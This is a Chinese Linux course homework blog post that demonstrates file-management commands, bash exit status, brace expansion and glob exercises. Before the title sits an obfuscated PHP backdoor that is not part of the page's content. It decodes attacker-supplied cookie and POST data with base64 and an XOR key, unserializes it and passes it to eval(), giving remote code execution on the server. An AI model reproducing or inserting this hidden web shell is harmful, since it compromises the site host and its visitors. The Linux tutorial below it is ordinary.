$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥教育网络班21期+第2周课程练习 | Linux运维部落

马哥教育网络班21期+第2周课程练习

1、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。

    文件管理类命令:pwd,cd,ls,mkdir,rmdir,tree

1、目录相关命令:pwd,cd

(1)查看用户当前工作目录:pwd

例:

[root@zabbix ~]# pwd   #COMMAND 回车
/root           #显示出当前工作的目录

(2)cd用法

cd 或者cd ~:回当前用户的主目录

例:
[root@zabbix ~]# cd /home/  #进入home目录
[root@zabbix home]# cd ~    #cd ~回当前用户的主目录
[root@zabbix ~]# pwd        #显示当前用户工作主目录命令
/root

cd ~USERNAME :切换至指定用户的主目录

例:
[root@zabbix ~]# useradd zabbix #添加一个新用户
[root@zabbix ~]# su zabbix        #切换至指定用户
[zabbix@zabbix root]$ pwd        #显示当前用户工作主目录命令
/root                            #虽然是/root但是普通用户无法在/root下读写,只能切换至/home/USERNAME目录下。

cd  -:在上一个目录和当前目录之间来回切换

例:
[root@zabbix ~]# cd /home/        #切换至指定用户
[root@zabbix home]# cd -        #切换到上一个目录
/root                    
[root@zabbix ~]# cd -            #切换到上一个目录
/home

.:当前目录

例:
[root@zabbix home]# pwd    #显示出当前工作的目录
/home
[root@zabbix home]# cd .    #切换当前目录         
[root@zabbix home]# pwd        #显示出当前工作的目录
/home

..:上一个目录

例:
[root@zabbix ~]# cd /etc/yum.repos.d/ #切换至/etc/yum.repos.d/目录
[root@zabbix yum.repos.d]# pwd           #显示当前工作目录
/etc/yum.repos.d
[root@zabbix yum.repos.d]# cd ..    #切换到上一个目录
[root@zabbix etc]# pwd                #显示当前工作目录
/etc

                       

2、ls:list 显示指定路径下的文件列表

用法:ls [OPTION]… [DIR]…
-a ,all :显示所有文件,包括隐藏文件
例:

[root@zabbix ~]# ls -a   #不加任何路径显示当前目录下的所有文件,包括隐藏文件(点开头的文件为隐藏文件)
.         .esd_auth        install.log         .Xauthority
..         .gconf           install.log.syslog 
.abrt       .gconfd          .local              
anaconda-ks.cfg   .gnome2          .mozilla            
.bash_history   .gnome2_private  .mysql_history      
.bash_logout    .gnote           .nautilus           
.bash_profile   .gnupg           .pulse              
.bashrc      .gstreamer-0.10  .pulse-cookie       
.cache       .gtk-bookmarks   .ssh                
.config      .gvfs            .tcshrc
.cshrc       .ICEauthority    .viminfo
.dbus       .imsettings.log  .vnc

-l:长格式,

[root@zabbix ~]# ls -l #显示长格式的文件,包
例:
总用量 100
-rw-------. 1 root root  1452 6月  21 14:01 anaconda-ks.cfg
-rw-r--r--. 1 root root 46478 6月  21 14:01 install.log
-rw-r--r--. 1 root root 10033 6月  21 13:57 install.log.syslog

-h    –humman-readable:单位换算

例:
[root@zabbix ~]# ls -lh  #可看到单位转换
总用量 100K
-rw-------. 1 root root 1.5K 6月  21 14:01 anaconda-ks.cfg
-rw-r--r--. 1 root root  46K 6月  21 14:01 install.log
-rw-r--r--. 1 root root 9.8K 6月  21 13:57 install.log.syslog

-d: 显示目录自身的相关属性;通常是与-l一起使用

例:
[root@zabbix ~]# ls -d            
.
[root@zabbix ~]# ls -ld    #显示/root目录本身情况
dr-xr-x---. 28 root root 4096 6月  27 10:09 .

-r,–reverse:逆序显示

例:
[root@zabbix ~]# ls -l  #正常排序
总用量 100
-rw-------. 1 root root  1452 6月  21 14:01 anaconda-ks.cfg
-rw-r--r--. 1 root root 46478 6月  21 14:01 install.log
-rw-r--r--. 1 root root 10033 6月  21 13:57 install.log.syslog
[root@zabbix ~]# ls -lr #逆排序
总用量 100
-rw-r--r--. 1 root root 10033 6月  21 13:57 install.log.syslog
-rw-r--r--. 1 root root 46478 6月  21 14:01 install.log
-rw-------. 1 root root  1452 6月  21 14:01 anaconda-ks.cfg

-R,–recursive :递归

例:
[root@zabbix ~]# ls  -lR /home/  #显示递归
/home/:
总用量 4
drwx------. 4 zabbix zabbix 4096 6月  27 09:57 zabbix
/home/zabbix:
总用量 0

3、mkdir 创建文件夹

用法:mkdir [OPTION]… DIRECTORY…
-p, –parents 如果已存在文件夹不会报错,且如果已存在相同文件夹名则不会作任何提示

例:
[root@zabbix ~]# mkdir /tmp/test  #没有带参数建立一个文件夹
[root@zabbix ~]# mkdir /tmp/test  #没有带参数重新建立一个相同文件夹
mkdir: 无法创建目录"/tmp/test": 文件已存在    #报错误
[root@zabbix ~]# mkdir -p /tmp/test #无报错

 -v, –verbose 显示创建时消息

 例:
[root@zabbix ~]# mkdir -v /tmp/test2 #创建test2加-v会出现创建消息
mkdir: 已创建目录 "/tmp/test2"

花括号展开命令:

例:
[root@zabbix ~]# mkdir -p -v /tmp/{x,y}_{a,b}#使用花括号创建文件目录
mkdir: 已创建目录 "/tmp/x_a"
mkdir: 已创建目录 "/tmp/x_b"
mkdir: 已创建目录 "/tmp/y_a"
mkdir: 已创建目录 "/tmp/y_b"

4、rmdir 移除文件命令 (只能删除空的文件夹,如有文件无法删除)

rmdir [OPTION]… DIRECTORY…
-v –verbose,显示删除时信息

例:
[root@zabbix ~]# rmdir -v /tmp/test2 #删除一个空的文件夹
rmdir: 正在删除目录 "/tmp/test2"

-p, –parents 移除空的文件夹(非空目录无法删除)

例:
[root@zabbix ~]# ll /tmp/  #显示/tmp下所有目录
总用量 32
drwxr-xr-x. 2 root root 4096 6月  27 15:45 x_a
drwxr-xr-x. 2 root root 4096 6月  27 15:32 x_a.txt
drwxr-xr-x. 2 root root 4096 6月  27 15:45 x_b
drwxr-xr-x. 2 root root 4096 6月  27 15:32 x_b.txt
drwxr-xr-x. 2 root root 4096 6月  27 15:45 y_a
drwxr-xr-x. 2 root root 4096 6月  27 15:32 y_a.txt
drwxr-xr-x. 2 root root 4096 6月  27 15:45 y_b
drwxr-xr-x. 2 root root 4096 6月  27 15:32 y_b.txt
[root@zabbix ~]# rmdir -p -v /tmp/{x,y}_{a,b} #删除/tmp下花括号展开的空目录
rmdir: 正在删除目录 "/tmp/x_a"
rmdir: 正在删除目录 "/tmp"
rmdir: 删除目录 "/tmp" 失败: 目录非空
rmdir: 正在删除目录 "/tmp/x_b"
rmdir: 正在删除目录 "/tmp"
rmdir: 删除目录 "/tmp" 失败: 目录非空
rmdir: 正在删除目录 "/tmp/y_a"
rmdir: 正在删除目录 "/tmp"
rmdir: 删除目录 "/tmp" 失败: 目录非空
rmdir: 正在删除目录 "/tmp/y_b"
rmdir: 正在删除目录 "/tmp"
rmdir: 删除目录 "/tmp" 失败: 目录非空

5、tree:显示树状格式目录的内容

用法:tree [option]…[directory …]
-d:只显示目录

例:
[root@zabbix ~]# mkdir -p /tmp/test/test1  #在/tmp下创建两个目录
[root@zabbix ~]# cp /etc/fstab /tmp/test/test1/ #复制/etc/fstab文件到/tmp/test/test1/下
[root@zabbix ~]# tree /tmp/ #没有带数时显示/tmp下所有目录和文件
/tmp/
└── test
    └── test1
        └── fstab
2 directories, 1 file
[root@zabbix ~]# tree -d /tmp/  #带参数-d则显示test,test1两个目录
/tmp/
└── test
    └── test1
2 directories

-L level 指定显示的层级数目

例:
[root@zabbix ~]# tree -L 2 /tmp/ #指定显示第二层的目录和文件
[root@zabbix ~]# tree -L 2 /tmp/
/tmp/
└── test
    ├── fstab
    ├── passwd
    └── test1
2 directories, 2 files

-P pattern 只显示由指定pattern匹配到的路径;
例:

[root@zabbix ~]# tree -P /tmp
.
├── \345\205\254\345\205\261\347\232\204
├── \346\250\241\346\235\277
├── \350\247\206\351\242\221
├── \345\233\276\347\211\207
├── \346\226\207\346\241\243
├── \344\270\213\350\275\275
├── \351\237\263\344\271\220
└── \346\241\214\351\235\242
8 directories, 0 files

6、文件管理命令:cat,tac,more,less,tail,head
(1)cat:显示连续的文件内容
cat [OPTION]… [FILE]…

例:
[root@zabbix ~]# cat /tmp/test/fstab 
#
# /etc/fstab
# Created by anaconda on Tue Jun 21 13:40:50 2016
#
# Accessible filesystems, by reference, are maintained under '/dev/disk'
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
UUID=909f7903-9d00-4b31-ac57-52756e978e75 /                       ext4    defaults        1 1
UUID=0efeb056-4b43-40f2-8be1-0135ce8c9544 /boot                   ext4    defaults        1 2
UUID=fd109fb9-4c5c-44d1-ac75-9ad22dff3c60 swap                    swap    defaults        0 0
tmpfs                   /dev/shm                tmpfs   defaults        0 0
devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
sysfs                   /sys                    sysfs   defaults        0 0
proc                    /proc                   proc    defaults        0 0

-E:显示行结束符$

例:
[root@zabbix ~]# cat -E /tmp/test/fstab 
$
#$
# /etc/fstab$
# Created by anaconda on Tue Jun 21 13:40:50 2016$
#$
# Accessible filesystems, by reference, are maintained under '/dev/disk'$
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info$
#$
UUID=909f7903-9d00-4b31-ac57-52756e978e75 /                       ext4    defaults        1 1$
UUID=0efeb056-4b43-40f2-8be1-0135ce8c9544 /boot                   ext4    defaults        1 2$
UUID=fd109fb9-4c5c-44d1-ac75-9ad22dff3c60 swap                    swap    defaults        0 0$
tmpfs                   /dev/shm                tmpfs   defaults        0 0$
devpts                  /dev/pts                devpts  gid=5,mode=620  0 0$
sysfs                   /sys                    sysfs   defaults        0 0$
proc                    /proc                   proc    defaults        0 0$

-n:对显示出的每一行进行编号

例:
[root@zabbix ~]# cat -n /tmp/test/fstab 
     1    
     2    #
     3    # /etc/fstab
     4    # Created by anaconda on Tue Jun 21 13:40:50 2016
     5    #
     6    # Accessible filesystems, by reference, are maintained under '/dev/disk'
     7    # See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
     8    #
     9    UUID=909f7903-9d00-4b31-ac57-52756e978e75 /                       ext4    defaults        1 1
    10    UUID=0efeb056-4b43-40f2-8be1-0135ce8c9544 /boot                   ext4    defaults        1 2
    11    UUID=fd109fb9-4c5c-44d1-ac75-9ad22dff3c60 swap                    swap    defaults        0 0
    12    tmpfs                   /dev/shm                tmpfs   defaults        0 0
    13    devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
    14    sysfs                   /sys                    sysfs   defaults        0 0
    15    proc                    /proc                   proc    defaults        0 0

(2)tac 从文件尾部行向首行读取内容

例:
[root@zabbix ~]# tac /tmp/test/fstab 
proc                    /proc                   proc    defaults        0 0
sysfs                   /sys                    sysfs   defaults        0 0
devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
tmpfs                   /dev/shm                tmpfs   defaults        0 0
UUID=fd109fb9-4c5c-44d1-ac75-9ad22dff3c60 swap                    swap    defaults        0 0
UUID=0efeb056-4b43-40f2-8be1-0135ce8c9544 /boot                   ext4    defaults        1 2
UUID=909f7903-9d00-4b31-ac57-52756e978e75 /                       ext4    defaults        1 1
#
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
# Accessible filesystems, by reference, are maintained under '/dev/disk'
#
# Created by anaconda on Tue Jun 21 13:40:50 2016
# /etc/fstab
#

参数同cat用法一样。
(3)more: 从首部向尾部查看文件内容
用法:more [OPTION] FILE…
-d:显示翻页及退出提示

(4)less:多次的more从首部向尾部查看文件内容
用法:less [OPTIONS…] FILE…

(5)head:从文件首部行向尾部行读取内容
用法:head [OPTION]… [FILE]…
-c #:指定获取前#字节

例:
[root@zabbix ~]# head -c 100 /tmp/test/fstab
#
# /etc/fstab
# Created by anaconda on Tue Jun 21 13:40:50 2016
#
# Accessible filesystems, by ref[root@zabbix ~]#

-n #:指定获取前#行

例:
[root@zabbix ~]# head -n 10 /tmp/test/fstab 
#
# /etc/fstab
# Created by anaconda on Tue Jun 21 13:40:50 2016
#
# Accessible filesystems, by reference, are maintained under '/dev/disk'
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
UUID=909f7903-9d00-4b31-ac57-52756e978e75 /                       ext4    defaults        1 1
UUID=0efeb056-4b43-40f2-8be1-0135ce8c9544 /boot                   ext4    defaults        1 2

(6)tail:从文件内容尾部行行尾开始向首部行读取内容
用法:tail [OPTION]… [FILE]…
-c #:指定获取后#字节

例:
[root@zabbix ~]# cat /tmp/test/fstab 
#
# /etc/fstab
# Created by anaconda on Tue Jun 21 13:40:50 2016
#
# Accessible filesystems, by reference, are maintained under '/dev/disk'
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
UUID=909f7903-9d00-4b31-ac57-52756e978e75 /                       ext4    defaults        1 1
UUID=0efeb056-4b43-40f2-8be1-0135ce8c9544 /boot                   ext4    defaults        1 2
UUID=fd109fb9-4c5c-44d1-ac75-9ad22dff3c60 swap                    swap    defaults        0 0
tmpfs                   /dev/shm                tmpfs   defaults        0 0
devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
sysfs                   /sys                    sysfs   defaults        0 0
proc                    /proc                   proc    defaults        0 0
[root@zabbix ~]# tail -c 10 /tmp/test/fstab 
      0 0

-n #:指定获取后#行

例:
[root@zabbix ~]# tail -n 10 /tmp/test/fstab 
# Accessible filesystems, by reference, are maintained under '/dev/disk'
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
UUID=909f7903-9d00-4b31-ac57-52756e978e75 /                       ext4    defaults        1 1
UUID=0efeb056-4b43-40f2-8be1-0135ce8c9544 /boot                   ext4    defaults        1 2
UUID=fd109fb9-4c5c-44d1-ac75-9ad22dff3c60 swap                    swap    defaults        0 0
tmpfs                   /dev/shm                tmpfs   defaults        0 0
devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
sysfs                   /sys                    sysfs   defaults        0 0
proc                    /proc                   proc    defaults        0 0

-f:跟踪显示文件新追加的内容(此例可自己演示)

文件的时间戳管理工具:stat,touch

(1)stat 查看文件目录或者文件状态(包括访问时间,修改时间,改变时间)
用法:stat [OPTION]… FILE…

例
[root@zabbix ~]# stat /tmp/test/fstab #文件
  File: "/tmp/test/fstab"
  Size: 805           Blocks: 8          IO Block: 4096   普通文件
Device: 802h/2050d    Inode: 2752519     Links: 1
Access: (0644/-rw-r--r--)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2016-06-29 09:30:52.535140726 +0800  #访问时间戳
Modify: 2016-06-29 09:30:20.475144278 +0800     #修改时间戳
Change: 2016-06-29 09:30:20.475144278 +0800  #改变时间戳
[root@zabbix ~]# stat /tmp/test/     #目录
  File: "/tmp/test/"
  Size: 4096          Blocks: 8          IO Block: 4096   目录
Device: 802h/2050d    Inode: 2752515     Links: 3
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2016-06-29 09:03:51.072146521 +0800
Modify: 2016-06-27 16:04:21.000000000 +0800
Change: 2016-06-29 03:50:04.148174081 +0800

(2)touch 改变时间戳时间
touch [OPTION]… FILE…
-a:only atime    #改变访问时间
-m :only mtime    #改变修改时间
-t STAMP:    #设置时间点
        [[CC]YY]MMDDhhmm[.ss]
-c:如果文件不存在,则不创建

文件管理:cp,mv,rm

(1)cp 复制文件和文件目录
cp [OPTION]… [-T] SOURCE DEST
cp [OPTION]… SOURCE… DIRECTORY
cp [OPTION]… -t DIRECTORY SOURCE…

cp SRC DEST
SRC是文件
   如果目标不存在:新建DEST,并将SRC中内容填充至DEST中:
   如果目录存在
    如果DEST 是文件 将SRC中的内容覆盖至DEST中,此时建议为cp命令使用-i 选项:
    如果DEST 是目录:在DEST下新建与原文件同名的文件,并将SRC中内容填充 至新文件中
        cp SRC … DEST
                SRC…:多个文件                
                    DEST必须存在,且为目录,其它情形均会出错;
        cp SRC  DEST
                SRC 是目录
                    此时使用选项 -r

                    如果DEST不存在:则创建指定目录,复制SRC目录中所有文件至DEST中;
                    如果DEST存在:
                        如果 DEST是文件:报错
                        如果DEST是目录:
常用选项 :
-i:交互式(覆盖时会提示)
例:
[root@zabbix ~]# cp /etc/networks /tmp/
[root@zabbix ~]# cp -i /etc/networks /tmp/
cp:是否覆盖"/tmp/networks"?      #会提示文件覆盖

-r,-R:递归复制目录及内部的所有内容

例:
[root@zabbix ~]# cp -r /etc /tmp/
root@zabbix ~]# tree -d /tmp/etc/
/tmp/etc/
├── abrt
│   └── plugins
├── acpi
│   ├── actions
│   └── events
├── alsa
...

-a:归档,相当于-dR,–preserv=all
-d,–no-dereference –preserv=links
–preserv[=ATTR_LIST]
        mode:权限
        ownershi:属主属组
        timestamp:
        links
        xattr
        context
        all
-p:–preserv=mode,ownership,timestamp
-v:–verbose

例:
[root@zabbix ~]# cp -v /etc/fstab /tmp/test2  #显示复制/etc/fstab变名为/tmp/test2
"/etc/fstab" -> "/tmp/test2"

 
(2)mv 移动(剪切)文件或目录
mv [OPTION]… [-T] SOURCE DEST
mv [OPTION]… SOURCE… DIRECTORY
mv  [OPTION]… -t DIRECTORY SOURCE…
常用选项:
-i:交互式
-f:强制

例:
[root@zabbix ~]# mv -ifv /tmp/test2 /tmp/test3/
"/tmp/test2" -> "/tmp/test3/test2"
[root@zabbix ~]# ls -l /tmp/test3/test2 
-rw-r--r--. 1 root root 805 6月  29 14:45 /tmp/test3/test2

(3)rm 移除(删除)文件或目录
rm [OPTION]… FILE…
常用选项:
-i:交互式
-f:强制删除
-r:递归

例:
[root@zabbix ~]# rm -vrf /tmp/test3/*
已删除"/tmp/test3/yp.conf"
已删除"/tmp/test3/yum/pluginconf.d/fastestmirror.conf"
已删除"/tmp/test3/yum/pluginconf.d/security.conf"
已删除"/tmp/test3/yum/pluginconf.d/refresh-packagekit.conf"
已删除目录:"/tmp/test3/yum/pluginconf.d"
已删除目录:"/tmp/test3/yum/protected.d"
已删除"/tmp/test3/yum/vars/infra"
已删除目录:"/tmp/test3/yum/vars"
已删除"/tmp/test3/yum/version-groups.conf"
已删除目录:"/tmp/test3/yum"
已删除"/tmp/test3/yum.conf"
已删除"/tmp/test3/yum.repos.d/CentOS-Media.repo"
已删除"/tmp/test3/yum.repos.d/CentOS-Debuginfo.repo"
已删除"/tmp/test3/yum.repos.d/CentOS-Vault.repo"
已删除"/tmp/test3/yum.repos.d/CentOS-fasttrack.repo"
已删除"/tmp/test3/yum.repos.d/CentOS-Base.repo.bak"
已删除目录:"/tmp/test3/yum.repos.d"
...

2、bash的工作特性之命令执行状态返回值和命令行展开所涉及的内容及其示例演示。


命令的执行结果状态:成功  或者 失败
bash使用特殊变量$?保存最近一条命令的执行状态结果;
0:成功
1-255:失败
程序执行有两类结果:程序的返回值 或 程序的执行状态结果

例1:
[root@zabbix ~]# cat /etc/fstab  #读取文件成功
#
# /etc/fstab
# Created by anaconda on Tue Jun 21 13:40:50 2016
#
# Accessible filesystems, by reference, are maintained under '/dev/disk'
# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info
#
UUID=909f7903-9d00-4b31-ac57-52756e978e75 /                       ext4    defaults        1 1
UUID=0efeb056-4b43-40f2-8be1-0135ce8c9544 /boot                   ext4    defaults        1 2
UUID=fd109fb9-4c5c-44d1-ac75-9ad22dff3c60 swap                    swap    defaults        0 0
tmpfs                   /dev/shm                tmpfs   defaults        0 0
devpts                  /dev/pts                devpts  gid=5,mode=620  0 0
sysfs                   /sys                    sysfs   defaults        0 0
proc                    /proc                   proc    defaults        0 0
[root@zabbix ~]# echo $?   #显示执行结果
0
例2:
[root@zabbix ~]# cat /etc/fstabss  #读取文件失败
cat: /etc/fstabss: 没有那个文件或目录
[root@zabbix ~]# echo $?  #显示失败的返回值
1

命令行展开
~:展开为用户的主目录
~USERNAME:展开为指定用户的主目录

例:
[root@zabbix ~]# useradd test
[root@zabbix ~]# cd ~test
[root@zabbix test]# pwd
/home/test

{}:可承载一个以逗号分隔的列表,并将其展开为多个路径

例:
[root@zabbix test]# touch /tmp/{a,b}
[root@zabbix test]# ll /tmp/
总用量 32
-rw-r--r--.   1 root root     0 6月  29 15:08 a
-rw-r--r--.   1 root root     0 6月  29 15:08 b
drwxr-xr-x. 119 root root 12288 6月  28 03:38 etc
-rw-r--r--.   1 root root    58 6月  29 14:38 networks
drwxr-xr-x.   3 root root  4096 6月  29 14:36 test
drwxr-xr-x.   3 root root 12288 6月  29 14:57 test3

3、请使用命令行展开功能来完成以下练习:

   (1)、创建/tmp目录下的:a_c, a_d, b_c, b_d

[root@zabbix test]# touch /tmp/{a,b}_{c,d}
[root@zabbix test]# ll /tmp/
总用量 0
-rw-r--r--. 1 root root 0 6月  29 15:09 a_c
-rw-r--r--. 1 root root 0 6月  29 15:09 a_d
-rw-r--r--. 1 root root 0 6月  29 15:09 b_c
-rw-r--r--. 1 root root 0 6月  29 15:09 b_d

   (2)、创建/tmp/mylinux目录下的:
mylinux/
    ├── bin
    ├── boot
    │   └── grub
    ├── dev
    ├── etc
    │   ├── rc.d
    │   │   └── init.d
    │   └── sysconfig
    │       └── network-scripts
    ├── lib
    │   └── modules
    ├── lib64
    ├── proc
    ├── sbin
    ├── sys
    ├── tmp
    ├── usr
    │   └── local
    │       ├── bin
    │       └── sbin
    └── var
        ├── lock
        ├── log
        └── run

[root@zabbix test]# mkdir -p /tmp/mylinux/{bin,boot/grub,dev,etc/{rc.d/init.d,sysconfig/network-srcipts},lib/modules,lib64,proc,sbin,sys,tmp,usr/lcoal/{bin,sbin},var/{lock,log,run}}
[root@zabbix test]# tree /tmp/mylinux/
/tmp/mylinux/
├── bin
├── boot
│   └── grub
├── dev
├── etc
│   ├── rc.d
│   │   └── init.d
│   └── sysconfig
│       └── network-srcipts
├── lib
│   └── modules
├── lib64
├── proc
├── sbin
├── sys
├── tmp
├── usr
│   └── lcoal
│       ├── bin
│       └── sbin
└── var
    ├── lock
    ├── log
    └── run

4、文件的元数据信息有哪些,分别表示什么含义,如何查看?如何修改文件的时间戳信息。

File:  #文件名称
Size: #文件大小           
Blocks: #文件块大小          
IO Block: 4096 #IO 块大小  
指名是文件或目录
Device:#设备信息
Inode: #inode号   
Links: 链接数
Access: 访问时间戳
Modify:修改时间戳
Change:改变时间戳
使用stat 查看元数据信息,使用touch修改文件时间戳

5、如何定义一个命令的别名,如何在命令中引用另一个命令的执行结果?

命令别名(alias)

    通过alias命令实现:
            (1)alias
                显示当前shell进程所有可用的命令别名;
            (2)alias NAME='VALUE'
                定义别名NAME,其相当于执行命令VALUE;
            注意:在命令行中定义的别名,仅对当前shell进程有产;如果想永久有效,需要配置文件
                仅对当前用户有效:~/.bashrc
                对所有用户有效:/etc/bashrc
                Note:编辑配置给出的新配置不会立即生效;
                bash进程重新读取配置文件:
                    source /path/to/config_file
                    . /path/to/config_file
        撤消别名:unalias
            unalias [-a] name [name ...]
        Note:如果别名同原命令的名称,则如果要执行原命令,可使用"\COMMAND"

        

通过管道命令引用另一个命令的执行结果
COMMAND1 | COMMAND2 | COMMAND3 …

例:
[root@zabbix ~]# cat /etc/passwd | head -n 10 #读取文件中/etc/passwd 后显示前10行后前10行后
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

6、显示/var目录下所有以l开头,以一个小写字母结尾,且中间至少出现一位数字(可以有其它字符)的文件或目录。

 [root@zabbix ~]#ls /var/l*[0-9]*[[:lower:]]

7、显示/etc目录下,以任意一个数字开头,且以非数字结尾的文件或目录。

[root@zabbix ~]#ls /etc/[0-9]*[^0-9]

8、显示/etc目录下,以非字母开头,后面跟了一个字母以及其它任意长度任意字符的文件或目录。

[root@zabbix ~]#ls /etc/[^a-z][a-z]*

9、在/tmp目录下创建以tfile开头,后跟当前日期和时间的文件,文件名形如:tfile-2016-05-27-09-32-22

[root@zabbix ~]# touch /tmp/tfile-`date +%F-%H-%M-%S`

10、复制/etc目录下所有以p开头,以非数字结尾的文件或目录到/tmp/mytest1目录中。

[root@zabbix ~]#mkdir -p /tmp/mytest1
[root@zabbix ~]#cp -rf /etc/p*[^0-9] /tmp/mytest1

11、复制/etc目录下所有以.d结尾的文件或目录至/tmp/mytest2目录中。

[root@zabbix ~]#mkdir -p /tmp/mytest2
[root@zabbix ~]#cp -rf /etc/*.d /tmp/mytest2

12、复制/etc/目录下所有以l或m或n开头,以.conf结尾的文件至/tmp/mytest3目录中。

[root@zabbix ~]#mkdir -p /tmp/mytest3
[root@zabbix ~]#cp -rf /etc/[l,m,n]*.conf /tmp/mytest3

原创文章,作者:Net21_Lion,如若转载,请注明出处:http://www.178linux.com/20233

(0)
上一篇 2016-07-04 11:27
下一篇 2016-07-04 11:27

相关推荐

  • SSH端口转发

    本地端口转发,远程端口,动态端口

    2018-05-22
  • 关于ip_conntrack跟踪连接满导致网络丢包问题的分析

    http://ixdba.blog.51cto.com/2895551/1737642

    Linux干货 2016-06-03
  • linux系统启动之破坏与修复

    linux系统启动之破坏与修复:      通过这些实验,了解linux启动流程和相关文件,同时也预防系统发生问题能更快解决,而不用重装或者耽误时间:      实验:破坏MBR 446     dd if=/dev/zero of=/dev/sda bs=1 count=446…

    Linux干货 2017-03-30
  • Haproxy+keepalivd+LAMP

    目录 一、试验部署 1、实验要求 2、实验准备 3、拓扑结构 4、网络规划 二、基础设置 1、LAMP配置 2、HAProxy配置 3、Keepalived配置 三、测试 四、总结 一、试验部署 1、实验要求 (1) 动静分离部署wordpress,动静都要能实现负载均衡,要注意会话的问题; (2) 给出设计拓扑,写成博客; (3)haproxy的设定要求:…

    2017-05-18
  • 马哥教育网络班21期-第六周课程练习

    请详细总结vim编辑器的使用并完成以下练习题 1、复制/etc/rc.d/rc.sysinit文件至/tmp目录,将/tmp/rc.sysinit文件中的以至少一个空白字符开头的行的行首加#; 2、复制/boot/grub/grub.conf至/tmp目录中,删除/tmp/grub.conf文件中的行首的空白字符; 3、删除/tmp/rc.sysinit文件…

    Linux干货 2016-08-05
  • 企业面试题

    要求: 将一下数据进行排序(字母部分已小到大排序) 101.37.8.249 wz417-419/wz119-125/wz7-16/wz571/wz544/wz1-6101.37.21.19 wz545/wz453-456/wz441-444116.62.4.21 wz106-118/wz514-516/wz581/wz190-199/wz572101.37…

    Linux干货 2017-06-27

评论列表(1条)

  • 马哥教育
    马哥教育 2016-07-04 13:43

    写的很好,可以多关注一下排版问题,加油